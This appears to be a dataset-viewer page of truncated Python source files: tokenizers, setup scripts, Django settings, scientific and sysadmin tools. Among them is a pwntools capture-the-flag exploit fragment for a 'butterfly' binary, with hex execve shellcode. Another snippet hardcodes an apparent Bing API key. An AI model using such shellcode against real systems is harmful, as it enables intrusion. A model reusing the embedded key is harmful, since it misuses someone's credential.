src stringlengths 721 1.04M |
|---|
# -*- coding: utf-8 -*-
from __future__ import print_function
import glob
import os
import argparse
import json
from flask.ext.sqlalchemy import SQLAlchemy
import field_names
from models import Marker
import models
from utilities import ProgressSpinner, ItmToWGS84, init_flask, CsvReader
import itertools
import localiza... |
#!/usr/bin/env python
# Copyright 2012 Google Inc. All Rights Reserved.
"""A simple grep flow."""
import time
from grr.lib import aff4
from grr.lib import flow
from grr.lib import rdfvalue
from grr.lib import type_info
from grr.lib import utils
class Grep(flow.GRRFlow):
"""Greps a file on the client for a patt... |
# -*- coding: utf-8 -*-
""" tokenizer for tweets! might be appropriate for other social media dialects too.
general philosophy is to throw as little out as possible.
development philosophy: every time you change a rule, do a diff of this
program's output on ~100k tweets. if you iterate through many possible rules
and... |
#!/usr/bin/env python
from distutils.core import setup
import glob
import platform
import sys
import meld.build_helpers
import meld.conf
if (platform.system() == 'Linux' and
platform.linux_distribution()[0] == 'Ubuntu'):
sys.argv.append('--install-layout=deb')
setup(
name=meld.conf.__package__,
... |
from events.forms import EventForm
from datetime import datetime
import pytest
from users.models import User
@pytest.fixture(scope='function')
def user():
user = User.objects.create(username="test", email="test@test.be", first_name="Test", last_name="Test")
return user.id
@pytest.mark.django_db
def test_onl... |
"""Geometrical Points.
Contains
========
Point
Point2D
Point3D
When methods of Point require 1 or more points as arguments, they
can be passed as a sequence of coordinates or Points:
>>> from sympy.geometry.point import Point
>>> Point(1, 1).is_collinear((2, 2), (3, 4))
False
>>> Point(1, 1).is_collinear(Point(2, 2)... |
"""Summarizes the monitor reports from Datadog into key metrics
"""
import csv
import os
import sqlite3
import sys
# Prepare the sqlite file for queries
# A denormalized version of the csv
try:
os.remove('monitors.sqlite')
except:
pass
conn = sqlite3.connect('monitors.sqlite')
c = conn.cursor()
c.execute("""... |
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compli... |
# coding=utf-8
# Copyright 2021 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... |
#!/usr/bin/env python
import timeit
import time
import string
import argparse
import csv
import sys
if sys.version_info[0] > 2:
import urllib.parse as urlparse
else:
import urlparse
# Import clients, so script fails fast if not available
from pycurl import Curl
try:
from cStringIO import StringIO
exce... |
from __future__ import division
from Classifier import *
class NewsAggregator:
def __init__(self, similarity_threshold, weights):
NewsAggregator.weights = weights
self.articles = dict() # key: article id, value: NewsArticle instance
self.topics = dict() # key: topic id , value:... |
import asyncio
from typing import Callable, Mapping, Any, get_type_hints, NamedTuple, Type, TypeVar, Awaitable, Tuple
from pyrsistent import pmap
from solo.configurator.registry import Registry
from solo.server.db.types import SQLEngine
from solo.server.request import Request
from solo.types import IO
from solo.vendo... |
# Copyright 2016 Mycroft AI, Inc.
#
# This file is part of Mycroft Core.
#
# Mycroft Core is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later versio... |
from Screens.Screen import Screen
from Screens.MessageBox import MessageBox
from Screens.ChoiceBox import ChoiceBox
from Screens.Standby import TryQuitMainloop
from Components.ActionMap import ActionMap
from Components.Sources.StaticText import StaticText
from Components.Sources.Progress import Progress
from Components... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import subprocess
import shlex
import socket
import modules.outputUtils as out
def getSessionInfo():
info = {}
output = subprocess.Popen(["who", "am", "i"], stdout=subprocess.PIPE).communicate()
output = output[0].strip().split(' ')
info['usernam... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Copyright: (c) 2013, Romeo Theriault <romeot () hawaii.edu>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
ANSIBLE_METADATA = {'metadata_ver... |
import numpy as np
import cv2
#import matplotlib.pyplot as plt
from collections import deque
import imutils
import argparse
import sys
ap = argparse.ArgumentParser()
ap.add_argument("-b", "--buffer", type=int, default=32,
help="max buffer size")
ap.add_argument("-v", "--video", default=0,
help="path to the (optiona... |
from __future__ import print_function
try:
from collections import OrderedDict
except ImportError:
from ordereddict import OrderedDict
from collections import Callable, defaultdict
from six.moves import xrange
try:
# For Python 3.0 and later
import urllib.request as urllib2
except ImportError:
# Fal... |
# -*- coding: utf-8 -*-
from __future__ import absolute_import, print_function, unicode_literals
from cms.toolbar_base import CMSToolbar
from cms.toolbar_pool import toolbar_pool
from cms.utils.urlutils import admin_reverse
from django.core.urlresolvers import reverse
from django.utils.translation import override, uge... |
import json
import urllib, urllib2
BING_API_KEY = '6uAUnyT0WuPBRqv5+AZIuWrpNsKJ++t0E9Sp9DDkh3Q'
def run_query(search_terms):
# Specify the base
root_url = 'https://api.datamarket.azure.com/Bing/Search/v1/'
source = 'Web'
# Specify how many results we wish to be returned per page.
# Offset specifi... |
from __future__ import print_function
import numpy as np
from random import shuffle, random,seed
from time import time
from heapq import nlargest
from collections import deque,Counter
from itertools import cycle
import marshal
from pprint import pprint
import sys
def combinations(n,k):
"return k from n combination"
... |
#!/usr/bin/env python
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this file,
# You can obtain one at http://mozilla.org/MPL/2.0/.
import os
import subprocess
import sys
import proctest
import mozunit
from mozprocess import pr... |
from django import forms
from django.contrib import admin
from django.contrib import messages
from django.contrib.auth.models import Group
from django.http import HttpResponseRedirect
from django.shortcuts import render
from django.urls import reverse
import survey.services as survey_services
from courses.models impor... |
# This file is part of Indico.
# Copyright (C) 2002 - 2019 CERN
#
# Indico is free software; you can redistribute it and/or
# modify it under the terms of the MIT License; see the
# LICENSE file for more details.
from __future__ import unicode_literals
from indico.modules.attachments import AttachmentFolder
def tes... |
from flask_script import Command, Option
from datetime import timedelta
from itertools import chain
from skylines.database import db
from skylines.model import TrackingFix, User
class Stats(Command):
""" Analyse live tracks and output statistics """
option_list = (
Option('user', type=int, help='a ... |
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... |
from behave import then, use_step_matcher
from formalign.settings import TEST
from helper_funcs.helpers_test import file_to_string
from lxml import html
from io import StringIO
from functional_tests.test_implementation.alignment_rendering import alignment_formatting, get_displayed_seqs
use_step_matcher('re')
@then(... |
"""
Some lowest-level parsers, that is, tokenizers.
"""
import re
from .parsers import parser, join
from .parsers import Success, Failure
def exact(string, ignore_case=False):
""" Only matches the exact `string`. """
if ignore_case:
string = string.lower()
@parser(repr(string))
def inner(tex... |
# code : utf-8
# Author : PurpleFire
# Nutshsll(坚果壳)
import binascii
import os
picture = input("请输入图片路径:")
if os.path.exists(picture): # 判断文件是否存在
try:
pic_hex = binascii.hexlify(
open(picture, "rb").read()).decode("utf-8") # 将其转化为十六进制
except Exception as e: # 没有图片
print("文件无法打... |
# Copyright 2013 Mirantis Inc.
# All Rights Reserved
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ... |
"""Test TorsionFitModel"""
from torsionfit.tests.utils import get_fn
import torsionfit.database.qmdatabase as qmdb
from torsionfit.model_omm import TorsionFitModel as TorsionFitModelOMM
from torsionfit.model import TorsionFitModel
from torsionfit.backends import sqlite_plus
import torsionfit.parameters as par
from py... |
#!/usr/bin/env python
# In[ ]:
# coding: utf-8
###### Searching and Downloading Google Images to the local disk ######
# Import Libraries
import sys
version = (3, 0)
cur_version = sys.version_info
if cur_version >= version: # If the Current Version of Python is 3.0 or above
import urllib.request
from urllib... |
#!/usr/bin/env python3
import inspect
owner = False
aliases = ['helpmeplz']
def help(con, sjBot, commands, trigger, host, channel, command=None):
"""Shows information about commands."""
if command is None:
output = []
output.append('Here is a list of commands: {}.'.format(', '.join(
... |
#!/usr/bin/env python
import sys
import os
# setup.py largely based on
# http://hynek.me/articles/sharing-your-labor-of-love-pypi-quick-and-dirty/
# Also see Jeet Sukumaran's DendroPy
###############################################################################
# setuptools/distutils/etc. import and configuration
... |
"""Centroids calculation module
"""
__author__ = "Juan C. Duque, Alejandro Betancourt"
__credits__= "Copyright (c) 2009-10 Juan C. Duque"
__license__ = "New BSD License"
__version__ = "1.0.0"
__maintainer__ = "RiSE Group"
__email__ = "contacto@rise-group.org"
__all__ = ['getCentroids']
def getCentroids(layer):
""... |
#!/usr/bin/env python
# -*- coding: utf-8 -*
import clutter
import common
from container import BaseContainer
from roundrect import RoundRectangle
from text import TextContainer
from box import VBox
from autoscroll import AutoScrollPanel
class OptionLine(BaseContainer):
__gtype_name__ = 'OptionLine'
"""
... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# JNMaster / academic / curriculum querier interface
# the original code was contributed by Chen Huayue, later almost entirely
# rewritten by Wang Xuerui.
# Copyright (C) 2011 Chen Huayue <489412949@qq.com>
# Copyright (C) 2011 Wang Xuerui <idontknw.wang@gmail.com>
#
# This... |
# -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... |
from setuptools import setup, find_packages
version = '0.1.16'
setup(
name='padua',
version=version,
url='http://github.com/mfitzp/padua',
author='Martin Fitzpatrick',
author_email='martin.fitzpatrick@gmail.com',
description='A Python interface for Proteomic Data Analysis, working with MaxQuan... |
# Copyright (C) 2013-2021 Bernd Feige
# This file is part of avg_q and released under the GPL v3 (see avg_q/COPYING).
import avg_q
import numpy
# Layout helper function to get a 2D arrangement of nplots plots
def nrows_ncols_from_nplots(nplots):
ncols=numpy.sqrt(nplots)
if ncols.is_integer():
nrows=ncols
else:
... |
#!/usr/bin/env python
# coding: utf-8
import numpy as np
from src.obj.obj3d import Obj3d
from src.obj.grid.base_grid import BaseGrid
class BaseShapeMapFactory(object):
DIST_UNDEFINED = -1
def __init__(self, model_id, obj3d, grid, n_div, cls, grid_scale):
"""
:type model_id: int or long:
... |
# Copyright 2013 Rackspace
#
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the... |
#!/usr/bin/env python
# Copyright (C) 2006-2016 Music Technology Group - Universitat Pompeu Fabra
#
# This file is part of Essentia
#
# Essentia is free software: you can redistribute it and/or modify it under
# the terms of the GNU Affero General Public License as published by the Free
# Software Foundation (FSF), e... |
# Copyright 2014, Oliver Nagy <olitheolix@gmail.com>
#
# This file is part of Azrael (https://github.com/olitheolix/azrael)
#
# Azrael is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of... |
# Copyright 2018,2019,2020,2021 Sony Corporation.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... |
#!/usr/bin/env python
"""models.py
Udacity conference server-side Python App Engine data & ProtoRPC models
$Id: models.py,v 1.1 2014/05/24 22:01:10 wesc Exp $
created/forked from conferences.py by wesc on 2014 may 24
"""
__author__ = 'wesc+api@google.com (Wesley Chun)'
import httplib
import endpoints
from protor... |
#!/usr/bin/env python2
'''testcode [options] [action1 [action2...]]
testcode is a simple framework for comparing output from (principally numeric)
programs to previous output to reveal regression errors or miscompilation.
Run a set of actions on a set of tests.
Available actions:
compare compare set ... |
from copy import copy
from asyncio import async, coroutine, iscoroutinefunction
from functools import reduce
from types import FunctionType
from traceback import format_exc
from .request import Request
from .response import Response
from .adapter import AioHTTPServer
from .utils import Result, Ok, Err, unok
codes = ... |
"""
Tools for drawing Python object reference graphs with graphviz.
You can find documentation online at https://mg.pov.lt/objgraph/
Copyright (c) 2008-2017 Marius Gedminas <marius@pov.lt> and contributors
Released under the MIT licence.
"""
# Permission is hereby granted, free of charge, to any person obtaining a
#... |
"""
Django settings for question_answer project.
For more information on this file, see
https://docs.djangoproject.com/en/1.6/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.6/ref/settings/
"""
# Build paths inside the project like this: os.path.join(BASE_DIR,... |
# Copyright 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import logging
import os
import sys
from telemetry import decorators
from telemetry.core import bitmap
from telemetry.core import exceptions
from telemetry.... |
import argparse
from textwrap import TextWrapper
from typing import Iterable, Iterator
from lhc.io import open_file
from lhc.io.fasta.iterator import iter_fasta, FastaEntry
def view(sequences: Iterable[FastaEntry]) -> Iterator[FastaEntry]:
for sequence in sequences:
yield FastaEntry(sequence.key, sequenc... |
"""
yield stuff from a hardcoded data source
"""
from __future__ import print_function, division
import os
import numpy as np
from numpy.testing import assert_array_equal, assert_equal
from Bio import SeqIO
__all__ = ['gen_files', 'gen_sequence_pairs']
#mypath = os.path.realpath('../../stamatakis/benchMark_data')
... |
# Copyright (c) 2015 by Ladislav Lhotka, CZ.NIC <lhotka@nic.cz>
#
# Pyang plugin generating a driver file for JSON->XML translation.
#
# Permission to use, copy, modify, and/or distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permissio... |
#!/usr/bin/env python3
import numpy as np
import matplotlib.pyplot as plt
plt.rcParams['figure.figsize'] = (13,10)
plt.rcParams['font.size'] = 18
import csv
import scipy.stats as stats
def main():
prediction_plot = []
target_plot = []
with open('../nets/wip/post_training.csv', mode='r') as csv_file:
... |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import taggit.managers
from django.conf import settings
import wagtail.wagtailadmin.taggable
import wagtail.wagtailimages.models
class Migration(migrations.Migration):
dependencies = [
('taggit', '00... |
#!/usr/bin/env python
#===============================================================================
# Copyright (c) 2014 Geoscience Australia
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
... |
from django.core.management.base import BaseCommand
from optparse import make_option
from webinars_web.webinars import models as wm
from uuid import uuid4
from webex.attendee import Attendee as WebexRegistrant
import hapi_plus.leads
from django.conf import settings
class Command(BaseCommand):
help = 'Seeds registr... |
import unittest
import collections
from fontTools.misc.py23 import basestring
from fontParts.base import FontPartsError
class TestBPoint(unittest.TestCase):
def getBPoint_corner(self):
contour, _ = self.objectGenerator("contour")
contour.appendPoint((0, 0), "move")
contour.appendPoint((10... |
# -*- coding: utf-8 -*-
__author__ = 'marcilene.ribeiro'
from nfe.pysped.xml_sped import *
from nfe.pysped.nfe.manifestacao_destinatario import ESQUEMA_ATUAL
import os
DIRNAME = os.path.dirname(__file__)
class DownloadNFe(XMLNFe):
def __init__(self):
super(DownloadNFe, self).__init__()
self.v... |
from confduino.hwpacklist import hwpack_dir
from confduino.util import tmpdir, download, clean_dir
from entrypoint2 import entrypoint
from path import Path as path
from pyunpack import Archive
import logging
log = logging.getLogger(__name__)
def find_hwpack_dir(root):
"""search for hwpack dir under root."""
... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Spectral induced polarization (SIP) plotting tools"""
import matplotlib.pyplot as plt
import pygimli as pg
def showAmplitudeSpectrum(*args, **kwargs):
pg.deprecated('drawAmplitudeSpectrum')
return drawAmplitudeSpectrum(*args, **kwargs)
def showPhaseSpectrum... |
"""SCons.Tool.lex
Tool-specific initialization for lex.
There normally shouldn't be any need to import this module directly.
It will usually be imported through the generic SCons.Tool.Tool()
selection method.
"""
#
# Copyright (c) 2001 - 2019 The SCons Foundation
#
# Permission is hereby granted, free of charge, to... |
# uncompyle6 version 2.9.10
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.6.0b2 (default, Oct 11 2016, 05:27:10)
# [GCC 6.2.0 20161005]
# Embedded file name: type_Params.py
from types import *
import array
PARAMS_DEVICE_TYPE_USER_SPECIFIC = 0
PARAMS_DEVICE_TYPE_U1394 = 1
PARAMS_DEVICE_TYPE_ADAPTER = 2
PARA... |
from __future__ import absolute_import, division, print_function
from bcam.path import Path
from bcam.state import State
from bcam import state
from bcam.singleton import Singleton
from logging import debug, info, warning, error, critical
from bcam.util import dbgfname
import os
import json
from copy import deepcopy... |
#!/usr/bin/python
from __future__ import print_function
from argparse import ArgumentParser
import difflib
import os
import sys
import traceback
import urllib2
__metaclass__ = type
CPCS = {
'aws': "http://juju-dist.s3.amazonaws.com",
'azure': "https://jujutools.blob.core.windows.net/juju-tools",
'cano... |
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'Profile.on_mailing_list'
db.add_column(u'sfpirgapp_profile', 'on_mailing_list',
... |
"""A caching template loader that allows disk-based templates to be used."""
import os, sys
from abc import ABCMeta, abstractmethod
class TemplateDoesNotExist(Exception):
"""A named template could not be found."""
class Source(metaclass=ABCMeta):
"""A source of template data."""
__slots... |
from upoutdf.parse import get_class
#test = "every month on last sunday,monday starting _October_15_2012_8:00PM ending _April_1_2014 at 8:00PM lasting 120 minutes in America/Los_Angeles"
#test = "every month day 4 starting _October_1_2013 ending _April_1_2014 at 8:00PM lasting 2 hours in America/Los_Angeles"
#test =... |
import os
import abc
import pwd
import sys
import logging
from metadata import Metadata
from datetime import datetime as dt
__author__ = "You-Wei Cheah"
__version__ = '0.1.0'
_log = logging.getLogger("BaseModel")
class BaseModel:
'''Base model'''
def __init__(self, **metas):
_log.info(self.__class__... |
#!/usr/bin/env python
#coding:utf-8
# Author: mozman --<mozman@gmx.at>
# Purpose: test markers mixin
# Created: 24.10.2010
# Copyright (C) 2010, Manfred Moitzi
# License: GPLv3
import unittest
from svgwrite.base import BaseElement
from svgwrite.mixins import Markers
class MarkerMock(BaseElement, Marker... |
from __future__ import print_function
from pixell import enmap, utils, resample, curvedsky as cs, reproject
import numpy as np
from pixell.fft import fft,ifft
from scipy.interpolate import interp1d
import yaml,six
from orphics import io,cosmology,stats
import math
from scipy.interpolate import RectBivariateSpline,inte... |
# -*- coding: utf-8 -*-
"""The extraction and analysis CLI tool."""
import datetime
import os
from plaso.cli import status_view_tool
from plaso.lib import errors
class ExtractionAndAnalysisTool(status_view_tool.StatusViewTool):
"""Class that implements a combined extraction and analysis CLI tool."""
def __init... |
# -*- coding: utf-8 -*-
#################################################################################
# #
# Copyright (C) 2011 Vinicius Dittgen - PROGE, Leonardo Santagada - PROGE #
# ... |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes ... |
#-*- coding: utf-8 -*-
from __future__ import unicode_literals
from pyramid_jinja2 import renderer_factory
def includeme(config):
"""
Serve a static JSON based REST API.
"""
config.add_route('sessions', '/api/mock/sessions')
config.add_view('caliop.views.api.Sessions',
request_method=('... |
# Copyright 2013-2020 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
import re
class Bazel(Package):
"""Bazel is an open-source build and test tool similar to Make, Maven, and
Gradl... |
# Written by Nicolas Neubauer, Arno Bakker
# see LICENSE.txt for license information
#
# Test case for BuddyCast overlay version 12 (and 8). To be integrated into
# test_buddycast_msg.py
#
# Very sensitive to the order in which things are put into DB,
# so not a robust test
import unittest
import os
impor... |
"""Test SCB/PXWeb scraper."""
from statscraper.scrapers import SCB
from statscraper.exceptions import InvalidData
import pytest
def test_get_data():
"""We should be able to access a dataset by path."""
scraper = SCB()
scraper.move_to("HE").move_to("HE0110").move_to("HE0110F").move_to("Tab1DispInkN")
d... |
import logging
import os
import sys
from mongoengine.errors import NotUniqueError
sys.path.insert(0, os.path.abspath(os.path.dirname(__file__)) + "/../")
import base
from pulp_cds.api.managers.cds import CDSManager
log = logging.getLogger(__name__)
class TestCDSManager(base.BaseTestCase):
def setUp(self):
... |
"""BFWrapper - Driver to communicate with the custom BFDaemon Temperature server
This driver is NOT based on a VISA instrument. It only implements a TCP socket via the
standard socket package. The socket implementation is in :any:`stlab.utils.MySocket`.
The idea is that the server script is run on the fridge control... |
from django.db import models
from django.utils.translation import ugettext as _
from django.core.validators import MinValueValidator, MaxValueValidator, MinLengthValidator, MaxLengthValidator,RegexValidator
from django.contrib.auth.models import User, Group, Permission
import random
import string
from .settings impor... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A Mandelbrot set demo"""
# Copyright (c) 2015 Jérémie DECOCK (http://www.jdhp.org)
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without... |
# MPO2x.py
#
# A DEMO, very crude, Morse Code Practice Oscillator...
# Tested on Debian 6.0.0 using Python 2.6.6 and 2.7.2 and PCLinuxOS 2009 using Python 2.5.2.
# It may well work on earlier Python versions but is untested.
#
# (C)2011-2012, B.Walker, G0LCU. Now issued as Public Domain...
#
# The device, "/dev/audio" ... |
from unittest import mock
import pytest
from oto import response
from oto import status
from sukimu import fields
from sukimu import operations
from sukimu import schema
def create_schema(fields=None, indexes=None):
table = schema.Table('TableName')
indexes = indexes or set()
fields = fields or dict()
... |
#!/usr/bin/env python
# Note: To use the 'upload' functionality of this file, you must:
# $ pip install twine
import io
import os
import sys
from shutil import rmtree
from setuptools import Command, find_packages, setup
NAME = 'cel'
DESCRIPTION = 'A function as a service build package'
URL = 'https://github.com/... |
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
# License: GNU General Public License v3. See license.txt
from __future__ import unicode_literals
import frappe
import frappe.defaults
from frappe import msgprint, _
from frappe.model.naming import make_autoname
from erpnext.utilities.address_and_con... |
#-
# Copyright (c) 2013 Michael Roe
# All rights reserved.
#
# This software was developed by SRI International and the University of
# Cambridge Computer Laboratory under DARPA/AFRL contract FA8750-10-C-0237
# ("CTSRD"), as part of the DARPA CRASH research programme.
#
# @BERI_LICENSE_HEADER_START@
#
# Licensed to BER... |
#!/usr/bin/env python
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
# Copyright (c) 2017 Mozilla Corporation
from lib.alerttask import AlertTask
from mozdef_util.que... |
#!/usr/bin/env python2
from pwn import *
#r = remote('butterfly.pwning.xxx', 9999)
r = process('./butterfly')
loop_val = '0x20041c6'
# Start the loop
r.sendline(loop_val)
# Generate the payload
start_addr = 0x40084a
shell_addr = 0x400914
shellcode = '4831f648c7c03b0000004831d248c7c7140940000f05'
text = '4531f6... |
import logging
import json
import threading
from contextlib import contextmanager
from swailing.token_bucket import TokenBucket
PRIMARY = 10
DETAIL = 20
HINT = 30
class Logger(object):
"""A logging.Logger-like object with some swailing goodness.
"""
def __init__(self,
name_or_logger... |
# Copyright (c) 2015 Uber Technologies, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publ... |
import bisect, os, random, re, subprocess, time, uuid, unittest
from collections import defaultdict
from distutils.version import LooseVersion
from cql import OperationalError
from dtest import Tester, debug, DISABLE_VNODES, DEFAULT_DIR
from tools import new_node, not_implemented
TRUNK_VER = '2.2'
# Used to build upg... |
import pyparsing
"""
The query language that won't die.
Syntax:
Typical search engine query language, terms with boolean operators
and parenthesized grouping:
(term AND (term OR term OR ...) AND NOT term ...)
In it's simplest case, xaql searches for a list of terms:
term term term ...
... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
import re
# Združljivost za Python 2 in Python 3
try:
basestring
except NameError:
basestring = str
# Ali naj se seznami konjunktov in disjunktov sortirajo?
# Nastavi na list za nesortiranje
# Nastavi na sorted za sortiranje
sortSet = sorted
def paren(s, level, expl... |
#!/usr/bin/env python
# coding:utf-8
'''
Author: Steven C. Howell --<steven.howell@nist.gov>
Purpose: definiton of geometric shapes and their scattering
Created: 02/03/2017
00000000011111111112222222222333333333344444444445555555555666666666677777777778
1234567890123456789012345678901234567890123456789012... |
from js9 import j
TEMPLATE = """
name = ""
clienttype = ""
sshclient = ""
active = false
selected = false
category = ""
description = ""
secretconfig_ = ""
pubconfig = ""
installed = false
zosclient = ""
"""
FormBuilderBaseClass = j.tools.formbuilder.baseclass_get()
JSBASE = j.application.jsbase_get_class()
class ... |
# -*- coding: utf-8 -*-
#
# This file is part of Invenio.
# Copyright (C) 2016 CERN.
#
# Invenio is free software; you can redistribute it
# and/or modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 2 of the
# License, or (at your option) any later... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from setuptools import setup
import re
import os
import sys
def get_version(package):
"""
Return package version as listed in `__version__` in `init.py`.
"""
init_py = open(os.path.join(package, '__init__.py')).read()
return re.match("__... |
# -*- coding: utf-8 -*-
"""
***************************************************************************
merge.py
---------------------
Date : October 2014
Copyright : (C) 2014 by Radoslaw Guzinski
Email : rmgu at dhi-gras dot com
***************************... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.